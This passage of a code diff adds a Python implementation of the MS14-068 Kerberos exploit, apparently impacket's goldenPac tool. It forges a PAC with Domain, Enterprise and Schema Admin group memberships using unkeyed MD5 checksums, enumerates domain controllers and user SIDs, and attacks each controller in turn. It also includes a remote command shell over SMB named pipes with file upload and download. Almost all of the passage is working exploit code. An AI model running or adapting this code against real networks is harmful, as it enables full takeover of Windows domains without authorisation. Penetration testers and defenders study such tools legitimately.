+            tid = s.connectTree('IPC$')
+            fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
+
+            packet = RemComMessage()
+            pid = os.getpid()
+
+            packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
+            if self.__path is not None:
+                packet['WorkingDir'] = self.__path
+            packet['Command'] = self.__command
+            packet['ProcessID'] = pid
+
+            s.writeNamedPipe(tid, fid_main, packet.getData())
+
+            # Here we'll store the command we type so we don't print it back ;)
+            # ( I know.. globals are nasty :P )
+            global LastDataSent
+            LastDataSent = ''
+
+            # Create the pipes threads
+            stdin_pipe = RemoteStdInPipe(rpctransport,
+                                         r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
+                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
+                                         installService.getShare())
+            stdin_pipe.start()
+            stdout_pipe = RemoteStdOutPipe(rpctransport,
+                                           r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
+                                           smb.FILE_READ_DATA)
+            stdout_pipe.start()
+            stderr_pipe = RemoteStdErrPipe(rpctransport,
+                                           r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
+                                           smb.FILE_READ_DATA)
+            stderr_pipe.start()
+            
+            # And we stay here till the end
+            ans = s.readNamedPipe(tid,fid_main,8)
+
+            if len(ans):
+                retCode = RemComResponse(ans)
+                logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
+                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
+            installService.uninstall()
+            if self.__copyFile is not None:
+                # We copied a file for execution, let's remove it
+                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
+            unInstalled = True
+            sys.exit(retCode['ErrorCode'])
+
+        except SystemExit:
+            raise
+        except Exception as e:
+            logging.debug(str(e))
+            if unInstalled is False:
+                installService.uninstall()
+                if self.__copyFile is not None:
+                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
+            sys.stdout.flush()
+            sys.exit(1)
+
+    def openPipe(self, s, tid, pipe, accessMask):
+        pipeReady = False
+        tries = 50
+        while pipeReady is False and tries > 0:
+            try:
+                s.waitNamedPipe(tid,pipe)
+                pipeReady = True
+            except Exception as e:
+                print(str(e))
+                tries -= 1
+                time.sleep(2)
+                pass
+
+        if tries == 0:
+            raise Exception('Pipe not ready, aborting')
+
+        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
+
+        return fid
+
+class Pipes(Thread):
+    def __init__(self, transport, pipe, permissions, TGS=None, share=None):
+        Thread.__init__(self)
+        self.server = 0
+        self.transport = transport
+        self.credentials = transport.get_credentials()
+        self.tid = 0
+        self.fid = 0
+        self.share = share
+        self.port = transport.get_dport()
+        self.pipe = pipe
+        self.permissions = permissions
+        self.TGS = TGS
+        self.daemon = True
+
+    def connectPipe(self):
+        try:
+            lock.acquire()
+            global dialect
+            self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
+                                        sess_port=self.port, preferredDialect=dialect)
+            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
+            self.server.login(user, passwd, domain, lm, nt)
+            lock.release()
+            self.tid = self.server.connectTree('IPC$') 
+
+            self.server.waitNamedPipe(self.tid, self.pipe)
+            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
+            self.server.setTimeout(1000000)
+        except:
+            logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
+
+
+class RemoteStdOutPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions):
+        Pipes.__init__(self, transport, pipe, permisssions)
+
+    def run(self):
+        self.connectPipe()
+        while True:
+            try:
+                ans = self.server.readFile(self.tid,self.fid, 0, 1024)
+            except:
+                pass
+            else:
+                try:
+                        global LastDataSent
+                        if ans != LastDataSent:
+                            sys.stdout.write(ans.decode('cp437'))
+                            sys.stdout.flush()
+                        else:
+                            # Don't echo what I sent, and clear it up
+                            LastDataSent = ''
+                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, 
+                        # it will give false positives tho.. we should find a better way to handle this.
+                        if LastDataSent > 10:
+                            LastDataSent = ''
+                except:
+                    pass
+
+class RemoteStdErrPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions):
+        Pipes.__init__(self, transport, pipe, permisssions)
+
+    def run(self):
+        self.connectPipe()
+        while True:
+            try:
+                ans = self.server.readFile(self.tid,self.fid, 0, 1024)
+            except:
+                pass
+            else:
+                try:
+                    sys.stderr.write(str(ans))
+                    sys.stderr.flush()
+                except:
+                    pass
+
+class RemoteShell(cmd.Cmd):
+    def __init__(self, server, port, credentials, tid, fid, TGS, share):
+        cmd.Cmd.__init__(self, False)
+        self.prompt = '\x08'
+        self.server = server
+        self.transferClient = None
+        self.tid = tid
+        self.fid = fid
+        self.credentials = credentials
+        self.share = share
+        self.port = port
+        self.TGS = TGS
+        self.intro = '[!] Press help for extra shell commands'
+
+    def connect_transferClient(self):
+        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
+                                            preferredDialect=dialect)
+        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
+        self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
+
+    def do_help(self, line):
+        print("""
+ lcd {path}                 - changes the current local directory to {path}
+ exit                       - terminates the server process (and this session)
+ put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
+ get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
+ ! {cmd}                    - executes a local shell cmd
+""" % (self.share, self.share))
+        self.send_data('\r\n', False)
+
+    def do_shell(self, s):
+        os.system(s)
+        self.send_data('\r\n')
+
+    def do_get(self, src_path):
+        try:
+            if self.transferClient is None:
+                self.connect_transferClient()
+
+            import ntpath
+            filename = ntpath.basename(src_path)
+            fh = open(filename,'wb')
+            logging.info("Downloading %s\\%s" % (self.share, src_path))
+            self.transferClient.getFile(self.share, src_path, fh.write)
+            fh.close()
+        except Exception as e:
+            logging.error(str(e))
+            pass
+
+        self.send_data('\r\n')
+ 
+    def do_put(self, s):
+        try:
+            if self.transferClient is None:
+                self.connect_transferClient()
+            params = s.split(' ')
+            if len(params) > 1:
+                src_path = params[0]
+                dst_path = params[1]
+            elif len(params) == 1:
+                src_path = params[0]
+                dst_path = '/'
+
+            src_file = os.path.basename(src_path)
+            fh = open(src_path, 'rb')
+            f = dst_path + '/' + src_file
+            pathname = f.replace('/','\\')
+            logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
+            if PY3:
+                self.transferClient.putFile(self.share, pathname, fh.read)
+            else:
+                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
+            fh.close()
+        except Exception as e:
+            logging.error(str(e))
+            pass
+
+        self.send_data('\r\n')
+
+
+    def do_lcd(self, s):
+        if s == '':
+            print(os.getcwd())
+        else:
+            try:
+                os.chdir(s)
+            except Exception as e:
+                logging.error(str(e))
+        self.send_data('\r\n')
+
+    def emptyline(self):
+        self.send_data('\r\n')
+        return
+
+    def default(self, line):
+        if PY3:
+            self.send_data(line.encode('cp437')+b'\r\n')
+        else:
+            self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
+
+    def send_data(self, data, hideOutput = True):
+        if hideOutput is True:
+            global LastDataSent
+            LastDataSent = data
+        else:
+            LastDataSent = ''
+        self.server.writeFile(self.tid, self.fid, data)
+
+
+class RemoteStdInPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
+        Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
+
+    def run(self):
+        self.connectPipe()
+        shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
+        shell.cmdloop()
+
+
+class MS14_068:
+    # 6.1.  Unkeyed Checksums
+    # Vulnerable DCs are accepting at least these unkeyed checksum types
+    CRC_32  = 1
+    RSA_MD4 = 2
+    RSA_MD5 = 7
+    class VALIDATION_INFO(TypeSerialization1):
+        structure = (
+            ('Data', PKERB_VALIDATION_INFO),
+        )
+
+    def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
+                 copyFile=None, writeTGT=None, kdcHost=None):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__rid = 0
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__target = target
+        self.__targetIp = targetIp
+        self.__kdcHost = None
+        self.__copyFile = copyFile
+        self.__command = command
+        self.__writeTGT = writeTGT
+        self.__domainSid = ''
+        self.__forestSid = None
+        self.__domainControllers = list()
+        self.__kdcHost = kdcHost
+
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+            self.__lmhash = unhexlify(self.__lmhash)
+            self.__nthash = unhexlify(self.__nthash)
+
+    def getGoldenPAC(self, authTime):
+        # Ok.. we need to build a PAC_TYPE with the following items
+
+        # 1) KERB_VALIDATION_INFO
+        aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
+
+        unixTime = getFileTime(aTime)
+
+        kerbdata = KERB_VALIDATION_INFO()
+
+        kerbdata['LogonTime']['dwLowDateTime']           = unixTime & 0xffffffff
+        kerbdata['LogonTime']['dwHighDateTime']          = unixTime >>32
+
+        # LogoffTime: A FILETIME structure that contains the time the client's logon 
+        # session should expire. If the session should not expire, this structure 
+        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 
+        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 
+        # an indicator of when to warn the user that the allowed time is due to expire.
+        kerbdata['LogoffTime']['dwLowDateTime']          = 0xFFFFFFFF
+        kerbdata['LogoffTime']['dwHighDateTime']         = 0x7FFFFFFF
+
+        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 
+        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 
+        # client should not be logged off, this structure SHOULD have the dwHighDateTime 
+        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 
+        # The Kerberos service ticket end time is a replacement for KickOffTime. 
+        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 
+        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 
+        # of when the client should be forcibly disconnected.
+        kerbdata['KickOffTime']['dwLowDateTime']         = 0xFFFFFFFF
+        kerbdata['KickOffTime']['dwHighDateTime']        = 0x7FFFFFFF
+
+        kerbdata['PasswordLastSet']['dwLowDateTime']     = 0
+        kerbdata['PasswordLastSet']['dwHighDateTime']    = 0
+
+        kerbdata['PasswordCanChange']['dwLowDateTime']   = 0
+        kerbdata['PasswordCanChange']['dwHighDateTime']  = 0
+        
+        # PasswordMustChange: A FILETIME structure that contains the time at which
+        # theclient's password expires. If the password will not expire, this 
+        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 
+        # dwLowDateTime member set to 0xFFFFFFFF.
+        kerbdata['PasswordMustChange']['dwLowDateTime']  = 0xFFFFFFFF
+        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
+
+        kerbdata['EffectiveName']      = self.__username
+        kerbdata['FullName']           = ''
+        kerbdata['LogonScript']        = ''
+        kerbdata['ProfilePath']        = ''
+        kerbdata['HomeDirectory']      = ''
+        kerbdata['HomeDirectoryDrive'] = ''
+        kerbdata['LogonCount']         = 0
+        kerbdata['BadPasswordCount']   = 0
+        kerbdata['UserId']             = self.__rid
+        kerbdata['PrimaryGroupId']     = 513
+        
+        # Our Golden Well-known groups! :)
+        groups = (513, 512, 520, 518, 519)
+        kerbdata['GroupCount']         = len(groups)
+
+        for group in groups:
+            groupMembership = GROUP_MEMBERSHIP()
+            groupId = NDRULONG()
+            groupId['Data'] = group
+            groupMembership['RelativeId'] = groupId
+            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
+            kerbdata['GroupIds'].append(groupMembership)
+
+        kerbdata['UserFlags']         = 0
+        kerbdata['UserSessionKey']    = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        kerbdata['LogonServer']       = ''
+        kerbdata['LogonDomainName']   = self.__domain
+        kerbdata['LogonDomainId']     = self.__domainSid
+        kerbdata['LMKey']             = b'\x00\x00\x00\x00\x00\x00\x00\x00'
+        kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
+        kerbdata['SubAuthStatus']     = 0
+        kerbdata['LastSuccessfulILogon']['dwLowDateTime']  = 0
+        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
+        kerbdata['LastFailedILogon']['dwLowDateTime']      = 0
+        kerbdata['LastFailedILogon']['dwHighDateTime']     = 0
+        kerbdata['FailedILogonCount'] = 0
+        kerbdata['Reserved3']         = 0
+
+        # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is 
+        # asserted by an authentication authority based on proof of possession of client credentials.
+        #extraSids = ('S-1-18-1',)
+        if self.__forestSid is not None:
+            extraSids = ('%s-%s' % (self.__forestSid, '519'),)
+            kerbdata['SidCount']          = len(extraSids)
+            kerbdata['UserFlags'] |= 0x20
+        else:
+            extraSids = ()
+            kerbdata['SidCount']          = len(extraSids)
+        
+        for extraSid in extraSids:
+            sidRecord = KERB_SID_AND_ATTRIBUTES()
+            sid = RPC_SID()
+            sid.fromCanonical(extraSid)
+            sidRecord['Sid'] = sid
+            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
+            kerbdata['ExtraSids'].append(sidRecord)
+
+        kerbdata['ResourceGroupDomainSid'] = NULL
+        kerbdata['ResourceGroupCount'] = 0
+        kerbdata['ResourceGroupIds'] = NULL
+            
+        validationInfo = self.VALIDATION_INFO()
+        validationInfo['Data'] = kerbdata
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('VALIDATION_INFO')
+            validationInfo.dump()
+            print ('\n')
+
+        validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
+        validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
+
+        # 2) PAC_CLIENT_INFO
+        pacClientInfo = PAC_CLIENT_INFO()
+        pacClientInfo['ClientId'] = unixTime
+        try:
+            name = self.__username.encode('utf-16le')
+        except UnicodeDecodeError:
+            import sys
+            name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
+        pacClientInfo['NameLength'] = len(name)
+        pacClientInfo['Name'] = name
+        pacClientInfoBlob = pacClientInfo.getData()
+        pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
+
+        # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
+        serverChecksum = PAC_SIGNATURE_DATA()
+
+        # If you wanna do CRC32, uncomment this
+        #serverChecksum['SignatureType'] = self.CRC_32
+        #serverChecksum['Signature'] = b'\x00'*4
+
+        # If you wanna do MD4, uncomment this
+        #serverChecksum['SignatureType'] = self.RSA_MD4
+        #serverChecksum['Signature'] = b'\x00'*16
+
+        # If you wanna do MD5, uncomment this
+        serverChecksum['SignatureType'] = self.RSA_MD5
+        serverChecksum['Signature'] = b'\x00'*16
+
+        serverChecksumBlob = serverChecksum.getData()
+        serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
+
+        # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
+        privSvrChecksum = PAC_SIGNATURE_DATA()
+
+        # If you wanna do CRC32, uncomment this
+        #privSvrChecksum['SignatureType'] = self.CRC_32
+        #privSvrChecksum['Signature'] = b'\x00'*4
+
+        # If you wanna do MD4, uncomment this
+        #privSvrChecksum['SignatureType'] = self.RSA_MD4
+        #privSvrChecksum['Signature'] = b'\x00'*16
+
+        # If you wanna do MD5, uncomment this
+        privSvrChecksum['SignatureType'] = self.RSA_MD5
+        privSvrChecksum['Signature'] = b'\x00'*16
+
+        privSvrChecksumBlob = privSvrChecksum.getData()
+        privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
+
+        # The offset are set from the beginning of the PAC_TYPE
+        # [MS-PAC] 2.4 PAC_INFO_BUFFER
+        offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4
+
+        # Let's build the PAC_INFO_BUFFER for each one of the elements
+        validationInfoIB = PAC_INFO_BUFFER()
+        validationInfoIB['ulType'] = PAC_LOGON_INFO
+        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
+        validationInfoIB['Offset'] = offsetData
+        offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
+
+        pacClientInfoIB = PAC_INFO_BUFFER()
+        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
+        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
+        pacClientInfoIB['Offset'] = offsetData
+        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
+
+        serverChecksumIB = PAC_INFO_BUFFER()
+        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
+        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
+        serverChecksumIB['Offset'] = offsetData
+        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
+
+        privSvrChecksumIB = PAC_INFO_BUFFER()
+        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
+        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
+        privSvrChecksumIB['Offset'] = offsetData
+        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
+
+        # Building the PAC_TYPE as specified in [MS-PAC]
+        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
+            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
+            pacClientInfo.getData() + pacClientInfoAlignment
+        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
+
+        pacType = PACTYPE()
+        pacType['cBuffers'] = 4
+        pacType['Version'] = 0
+        pacType['Buffers'] = buffers + buffersTail
+
+        blobToChecksum = pacType.getData()
+
+        # If you want to do CRC-32, ucomment this
+        #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
+        #privSvrChecksum['Signature'] =  struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
+
+        # If you want to do MD4, ucomment this
+        #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
+        #privSvrChecksum['Signature'] =  MD4.new(serverChecksum['Signature']).digest()
+
+        # If you want to do MD5, ucomment this
+        serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
+        privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() 
+
+        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
+        pacType['Buffers'] = buffers + buffersTail
+
+        authorizationData = AuthorizationData()
+        authorizationData[0] = noValue
+        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
+        authorizationData[0]['ad-data'] = pacType.getData()
+        return encoder.encode(authorizationData)
+
+    def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
+        # Get out Golden PAC
+        goldenPAC = self.getGoldenPAC(authTime)
+
+        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
+
+        # Extract the ticket from the TGT
+        ticket = Ticket()
+        ticket.from_asn1(decodedTGT['ticket'])
+
+        # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
+        ifRelevant = AD_IF_RELEVANT()
+        ifRelevant[0] = noValue
+        ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
+        ifRelevant[0]['ad-data'] = goldenPAC
+
+        encodedIfRelevant = encoder.encode(ifRelevant)
+
+        # Key Usage 4
+        # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
+        # the TGS session key (Section 5.4.1)
+        encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)
+
+        tgsReq = TGS_REQ()
+        reqBody = seq_set(tgsReq, 'req-body')
+
+        opts = list()
+        opts.append( constants.KDCOptions.forwardable.value )
+        opts.append( constants.KDCOptions.renewable.value )
+        opts.append( constants.KDCOptions.proxiable.value )
+
+        reqBody['kdc-options'] = constants.encodeFlags(opts)
+        seq_set(reqBody, 'sname', serverName.components_to_asn1)
+        reqBody['realm'] = decodedTGT['crealm'].prettyPrint()
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+        reqBody['till'] = KerberosTime.to_asn1(now)
+        reqBody['nonce'] = random.SystemRandom().getrandbits(31)
+        seq_set_iter(reqBody, 'etype', (cipher.enctype,))
+        reqBody['enc-authorization-data'] = noValue
+        reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
+        reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant
+
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = list()
+        apReq['ap-options'] =  constants.encodeFlags(opts)
+        seq_set(apReq,'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = decodedTGT['crealm'].prettyPrint()
+
+        clientName = Principal()
+        clientName.from_asn1( decodedTGT, 'crealm', 'cname')
+
+        seq_set(authenticator, 'cname', clientName.components_to_asn1)
+
+        now = datetime.datetime.utcnow() 
+        authenticator['cusec'] =  now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 7
+        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+        # TGS authenticator subkey), encrypted with the TGS session
+        # key (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        encodedApReq = encoder.encode(apReq)
+
+        tgsReq['pvno'] =  5
+        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+        tgsReq['padata'] = noValue
+        tgsReq['padata'][0] = noValue
+        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+        tgsReq['padata'][0]['padata-value'] = encodedApReq
+
+        pacRequest = KERB_PA_PAC_REQUEST()
+        pacRequest['include-pac'] = False
+        encodedPacRequest = encoder.encode(pacRequest)
+
+        tgsReq['padata'][1] = noValue
+        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
+        tgsReq['padata'][1]['padata-value'] = encodedPacRequest
+
+        message = encoder.encode(tgsReq)
+
+        r = sendReceive(message, domain, kdcHost)
+
+        # Get the session key
+        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
+        cipherText = tgs['enc-part']['cipher']
+
+        # Key Usage 8
+        # TGS-REP encrypted part (includes application session
+        # key), encrypted with the TGS session key (Section 5.4.2)
+        plainText = cipher.decrypt(sessionKey, 8, cipherText)
+
+        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
+
+        newSessionKey = Key(cipher.enctype, encTGSRepPart['key']['keyvalue'].asOctets())
+    
+        return r, cipher, sessionKey, newSessionKey
+
+    def getForestSid(self):
+        logging.debug('Calling NRPC DsrGetDcNameEx()')
+
+        stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(MSRPC_UUID_NRPC)
+
+        resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
+        forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
+        logging.debug('DNS Forest name is %s' % forestName)
+        dce.disconnect()
+
+        logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
+
+        stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(MSRPC_UUID_LSAT)
+
+        resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
+        policyHandle = resp['PolicyHandle']
+
+        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
+        dce.disconnect()
+
+        forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
+        logging.info("Forest SID: %s"% forestSid)
+
+        return forestSid
+
+    def getDomainControllers(self):
+        logging.debug('Calling DRSDomainControllerInfo()')
+
+        stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
+        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        dce.connect()
+        dce.bind(MSRPC_UUID_DRSUAPI)
+
+        request = DRSBind()
+        request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
+        drs = DRS_EXTENSIONS_INT()
+        drs['cb'] = len(drs) #- 4
+        drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
+        drs['SiteObjGuid'] = NULLGUID
+        drs['Pid'] = 0
+        drs['dwReplEpoch'] = 0
+        drs['dwFlagsExt'] = 0
+        drs['ConfigObjGUID'] = NULLGUID
+        drs['dwExtCaps'] = 127
+        request['pextClient']['cb'] = len(drs.getData())
+        request['pextClient']['rgb'] = list(drs.getData())
+        resp = dce.request(request)
+
+        dcs = hDRSDomainControllerInfo(dce,  resp['phDrs'], self.__domain, 1)
+
+        dce.disconnect()
+        domainControllers = list()
+        for dc in dcs['pmsgOut']['V1']['rItems']:
+            logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])
+            domainControllers.append(dc['DnsHostName'][:-1])
+
+        return domainControllers
+
+    def getUserSID(self):
+        stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+        resp = samr.hSamrConnect(dce)
+        serverHandle = resp['ServerHandle']
+        resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)
+        domainId = resp['DomainId']
+        resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)
+        domainHandle = resp['DomainHandle']
+        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))
+        # Let's pick the relative ID
+        rid = resp['RelativeIds']['Element'][0]['Data']
+        logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid))
+        return domainId, rid
+
+    def exploit(self):
+        if self.__kdcHost is None:
+            getDCs = True
+            self.__kdcHost = self.__domain
+        else:
+            getDCs = False
+
+        self.__domainSid, self.__rid = self.getUserSID()
+        try:
+            self.__forestSid = self.getForestSid()
+        except Exception as e:
+            # For some reason we couldn't get the forest data. No problem, we can still continue
+            # Only drawback is we won't get forest admin if successful
+            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
+            self.__forestSid = None
+
+        if getDCs is False:
+            # User specified a DC already, no need to get the list
+            self.__domainControllers.append(self.__kdcHost)
+        else:
+            self.__domainControllers = self.getDomainControllers()
+
+        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        for dc in self.__domainControllers:
+            logging.info('Attacking domain controller %s' % dc)
+            self.__kdcHost = dc
+            exception = None
+            while True:
+                try:
+                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
+                                                                            self.__lmhash, self.__nthash, None,
+                                                                            self.__kdcHost, requestPAC=False)
+                except KerberosError as e:
+                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                        # We might face this if the target does not support AES (most probably
+                        # Windows XP). So, if that's the case we'll force using RC4 by converting
+                        # the password to lm/nt hashes and hope for the best. If that's already
+                        # done, byebye.
